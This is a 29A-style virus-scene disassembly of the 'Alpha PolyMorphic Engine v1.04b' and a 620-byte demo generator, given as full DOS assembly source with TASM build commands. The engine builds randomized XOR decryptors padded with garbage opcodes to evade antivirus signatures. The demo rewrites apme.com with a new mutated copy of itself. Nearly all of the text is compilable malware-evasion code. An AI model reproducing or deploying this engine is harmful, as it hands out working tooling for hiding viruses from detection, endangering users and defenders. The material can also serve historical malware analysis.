ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[apme.asm]ÄÄ comment * APME.Demo.620 ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ Disassembly by ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ Darkman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ APME.Demo.620 is a 620 bytes generator. Generates a new copy of itself, when executed. APME.Demo.620 is polymorphic in file using Alpha PolyMorphic Engine v 1.04b [APME]. I would like to thank Lookout Man for providing me the binary of this generator. To compile APME.Demo.620 with Turbo Assembler v 5.0 type: TASM /M APME.ASM TLINK /t /x APME.OBJ * .model tiny .code org 100h ; Origin of APME.Demo.620 code_begin: push cs ; Save CS at stack pop ds ; Load DS from stack (CS) call delta_offset delta_offset: pop si ; Load SI from stack sub si,offset delta_offset mov ax,100h ; AX = delta offset push ax ; Save AX at stack mov ax,200h ; AX = maximum length of decryptor push ax ; Save AX at stack mov ax,(code_end-code_begin) push ax ; Save AX at stack push cs ; Save CS at stack lea ax,[si+code_begin] ; AX = offset of code_begin push ax ; Save AX at stack push cs ; Save CS at stack lea ax,[si+code_end] ; AX = offset of code_end push ax ; Save AX at stack call apme_poly sub sp,0eh ; Subtract fourteen from stack poi... push ax ; Save AX at stack mov ax,3d02h ; Open file (read/write) lea dx,[si+filename] ; DX = offset of filename int 21h mov bx,ax ; BX = file handle pop cx ; Load CX from stack (AX) lea dx,[si+code_end] ; DX = offset of code_end mov ah,40h ; Write to file int 21h xor cx,cx ; Truncate file mov ah,40h ; Write to file int 21h mov ah,3eh ; Close file int 21h lea dx,[si+message] ; DX = offset of message mov ah,09h ; Write string to standard output int 21h mov ax,4c00h ; Terminate with return code int 21h filename db 'apme.com',00h ; Filename message db '[àPME] Alpha PolyMorphic Engine by ViKing - Version 1.04b$' include apmepoly.asm ; Include Alpha PolyMorphic Engine... code_end: end code_begin ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[apme.asm]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[apmepoly.asm]ÄÄ comment * Alpha PolyMorphic Engine v 1.04b [APME] ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ Disassembly by ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ Darkman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ Calling parameters: SS:SP Pointer to data block Return parameters: AX Length of decryptor + encrypted code Format of data block: Offset Size Description 00h 04h Pointer to decryptor + encrypted code 04h 04h Pointer to original code 08h 02h Maximum length of decryptor 0Ah 02h Delta offset Garbage instructions: INT 01h; STI; CLI; STD; CLD; INT 03h; INT 03h; CWD; RCL DX,01h; ADD DX,AX; SUB DI,[BP+DI]; ADD BP,BX; MOV BP,00h; ADD BP,SP; PUSH SS POP CX; ADD BP,CX Alpha PolyMorphic Engine v 1.04b [APME] decryptor: Garbage instruction(s). MOV AL,imm8 (Decryption key) Garbage instruction(s). MOV BX,imm16 (Length of encrypted code + 01h) Garbage instruction(s). MOV SI,imm16 (Offset of encrypted code) Garbage instruction(s). Garbage instruction(s). XOR CS:[BX+SI-01h],AL Garbage instruction(s). DEC BX JNZ imm8 (Offset of garbage generation(s) above decryption opcode) Garbage instruction(s). JMP $+02h Minimum length of decryptor: 17 bytes. Maximum length of decryptor: User defined. Length of Alpha PolyMorphic Engine v 1.04b [APME]: 469 bytes. I would like to thank Lookout Man for providing me the binary of this polymorphic engine. * apme_begin equ $ ; Begining of Alpha PolyMorphic En... apme_poly proc near ; Alpha PolyMorphic Engine v 1.04b push bp ; Save BP at stack mov bp,sp ; BP = stack pointer push ds es bx cx dx si di push cs ; Save CS at stack pop ds ; Load DS from stack (CS) call delta_offse delta_offse: pop bx ; Load BX from stack sub bx,offset delta_offse gen_poly: lea ax,[bx+mov_al_i_off] mov [bx+index_ptr],ax ; Store offset of MOV AL,imm8 (De...) les di,[bp+04h] ; ES:DI = pointer to decryptor + e... cld ; Clear direction flag mov cx,(table_end-table_begin)/02h gen_poly_: mov ax,0000000000000011b call garbag_check jc gen_decrypt ; Carry? Jump to gen_decrypt call gen_garbage jmp gen_poly_ gen_decrypt: call gen_decrypt_ loop gen_poly_ mov ax,[bx+decrypt__off] mov si,[bx+dec_bx_j_off] sub ax,si ; Subtract offset of DEC BX; JNZ i... dec ax ; Decrease 8-bit immediate cmp ax,0ff80h ; 8-bit immediate too large? jb gen_poly ; Below? Jump to gen_poly mov es:[si],al ; Store 8-bit immediate mov ax,di ; AX = offset of encrypted code sub ax,[bp+04h] ; Subtract offset of decryptor + e... mov si,[bx+mov_si_i_off] cmp ax,[bp+0eh] ; Decryptor too large? ja gen_poly ; Above? Jump to gen_poly push ax ; Save AX at stack add ax,[bp+10h] ; Add delta offset to offset of en... mov es:[si],ax ; Store offset of encrypted code mov si,[bx+mov_al_i_off] call get_rnd_num mov es:[si],al ; Store encryption/decryption key mov cx,[bp+0ch] ; CX = length of original code lds si,[bp+08h] ; DS:SI = pointer to original code cld ; Clear direction flag xchg al,ah ; AH = encryption/decryption key encrypt_loop: lodsb ; AL = byte of original code xor al,ah ; Encrypt a byte of original code stosb ; Store byte of of encrypted code loop encrypt_loop pop ax ; Load AX from stack add ax,[bp+0ch] ; Add length of original code to l... pop di si dx cx bx es ds pop bp ; Load BP from stack ret ; Return endp garbag_check proc near ; Check whether or not garbage sho... push ax cx ; Save registers at stack xchg ax,cx ; CX = garbage check call get_rnd_num and ax,cx ; Don't generate a random garbage ... jz do_garbage ; Zero? Jump to do_garbage clc ; Clear carry flag jmp dont_garbage do_garbage: stc ; Set carry flag dont_garbage: pop cx ax ; Load registers from stack ret ; Return endp random_num dd ? ; 32-bit random number get_rnd_num proc near ; Get 32-bit random number push ds dx ; Save registers at stack xor ax,ax ; Zero AX mov ds,ax ; DS = segment of BIOS data area mov ax,ds:[46ch] ; AX = low-order word of timer tic... add ax,word ptr cs:[bx+random_num] adc ax,00h ; Convert to 32-bit mov dx,ds:[46ch] ; AX = low-order word of timer tic... add dx,word ptr cs:[bx+random_num+02h] adc dx,00h ; Convert to 32-bit mul dx ; DX:AX = 32-bit random number inc ax ; Increase low-order word of 32-bi... mov word ptr cs:[bx+random_num],ax mov word ptr cs:[bx+random_num+02h],dx pop dx ds ; Load registers from stack ret ; Return endp gen_garbage proc near ; Generate a random garbage instru... push cx si ; Save registers at stack lea si,[bx+garbage_tbl] ; SI = offset of garbage_tbl call get_rnd_num and ax,0000000000001111b shl ax,01h ; Multiply random number with two add si,ax ; SI = offset within garbage_tbl lodsw ; AX = " " garbage_tbl_ add ax,bx ; Add delta offset to offset withi... mov si,ax ; SI = offset within garbage_tbl_ xor ax,ax ; Zero AX lodsb ; AL = length of opcode mov cx,ax ; CX = " " " rep movsb ; Move opcode to decrypter + encry... pop si cx ; Load registers from stack ret ; Return endp gen_decrypt_ proc near ; Generate decryptor push cx si ; Save registers at stack push cx ; Save CX at stack lea si,[bx+decrypt_tbl] ; SI = offset of decrypt_tbl dec cx ; Decrease counter shl cx,01h ; Multiply counter with two add si,cx ; SI = offset within decrypt_tbl lodsw ; AX = " " decrypt_tbl_ add ax,bx ; Add delta offset to offset withi... mov si,ax ; SI = offset within decrypt_tbl_ xor ax,ax ; Zero AX lodsb ; AL = length of opcode mov cx,ax ; CX = " " " lodsb ; AL = length of immediate rep movsb pop cx ; Load CX from stack or al,al ; No immediate? jz no_immediate ; Zero? Jump to no_immediate dec al ; Decrease length of immediate mov si,[bx+index_ptr] ; SI = index pointer mov [si],di ; Store offset within decryptor + ... add si,02h ; Add two to index pointer mov [bx+index_ptr],si ; Store index pointer add di,ax ; Add length of immediate to offse... no_immediate: pop si cx ; Load registers from stack ret ; Return endp db 0ah,0dh,'[àPME] Alpha PolyMorphic Engine by ViKing - Version 1.04b',0ah,0dh garbage_tbl dw int_01h ; Offset of int_01h dw sti_ ; Offset of sti_ dw cli_ ; Offset of cli_ dw std_ ; Offset of std_ dw cld_ ; Offset of cld_ dw int_03h ; Offset of int_03h dw int_03h_ ; Offset of int_03h_ dw cwd_ ; Offset of cwd_ dw rcl_dx_01h ; Offset of rcl_dx_01h dw add_dx_ax ; Offset of add_dx_ax dw sub_di_bp_di ; Offset of sub_di_bp_di dw add_bp_bx ; Offset of add_bp_bx dw mov_bp_00h ; Offset of mov_bp_00h dw add_bp_sp ; Offset of add_bp_sp dw push_ss_pop_ ; Offset of push_ss_pop_ dw add_bp_cx ; Offset of add_bp_cx garbage_tbl_: int_01h db 02h ; Two bytes opcode int 01h ; Single step sti_ db 01h ; One byte opcode sti ; Set interrupt-enable flag cli_ db 01h ; One byte opcode cli ; Clear interrupt-enable flag std_ db 01h ; One byte opcode std ; Set direction flag cld_ db 01h ; One byte opcode cld ; Clear direction flag int_03h db 01h ; One byte opcode int 03h ; Breakpoint int_03h_ db 02h ; Two bytes opcode dw 0000001111001101b ; INT 03h (opcode 0cdh,03h) cwd_ db 01h ; One byte opcode cwd ; Convert word to doubleword rcl_dx_01h db 02h ; Two bytes opcode rcl dx,01h ; Rotate DX one bit left through c... add_dx_ax db 02h ; Two bytes opcode add dx,ax ; Add AX to DX sub_di_bp_di db 02h ; Two bytes opcode sub di,[bp+di] ; Subtract the immediate at [BP+DI... add_bp_bx db 02h ; Two bytes opcode add bp,bx ; Add BX to BP mov_bp_00h db 03h ; Three bytes opcode mov bp,00h ; Zero BP add_bp_sp db 02h ; Two bytes opcode add bp,sp ; Add SP to BP push_ss_pop_ db 02h ; Two bytes opcode push ss ; Save SS at stack pop cx ; Load CX from stack (SS) add_bp_cx db 02h ; Two bytes opcode add bp,cx ; Add CX to BP table_begin: decrypt_tbl dw jmp_imm8 ; Offset of jmp_imm8 dw dec_bx_jnz_i ; Offset of dec_bx_jnz_i dw xor_cs__bx_s ; Offset of xor_cs__bx_ dw decrypt_loop ; Offset of decrypt_loop dw mov_si_imm16 ; Offset of mov_si_imm16 dw mov_bx_imm16 ; Offset of mov_bx_imm16 dw mov_al_imm8 ; Offset of mov_al_imm8 table_end: decrypt_tbl_: mov_al_imm8 db 01h ; One byte opcode db 01h+01h ; 8-bit immediate + 01h mov al,00h ; AL = encryption/decryption key mov_bx_imm16 db 03h ; Three bytes opcode db 00h ; No immediate mov bx,(code_end-code_begin+01h) mov_si_imm16 db 01h ; One byte opcode db 02h+01h ; 16-bit immediate + 01h mov si,00h ; SI = offset of encrypted code decrypt_loop db 00h ; No opcode db 00h+01h ; No immediate + 01h xor_cs__bx_s db 04h ; Four bytes opcode db 00h ; No immediate xor cs:[bx+si-01h],al ; Decrypt a byte of encrypted code dec_bx_jnz_i db 02h ; Two bytes opcode db 01h+01h ; 8-bit immediate + 01h dec bx ; Decrease index register jnz $+02h ; Not zero? Jump to generation abo... jmp_imm8 db 02h ; Two bytes opcode db 00h ; No immediate jmp $+02 index_ptr dw ? ; Index pointer mov_al_i_off dw ? ; Offset of MOV AL,imm8 (Decrypti...) mov_si_i_off dw ? ; Offset of MOV SI,imm16 (Offset ...) decrypt__off dw ? ; Offset of garbage generation abo... dec_bx_j_off dw ? ; Offset of DEC BX; JNZ imm8 (Gar...) apme_end equ $ ; End of Alpha PolyMorphic Engine ... apme_length equ $-apme_begin ; Size of Alpha PolyMorphic Engine... ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[apmepoly.asm]ÄÄ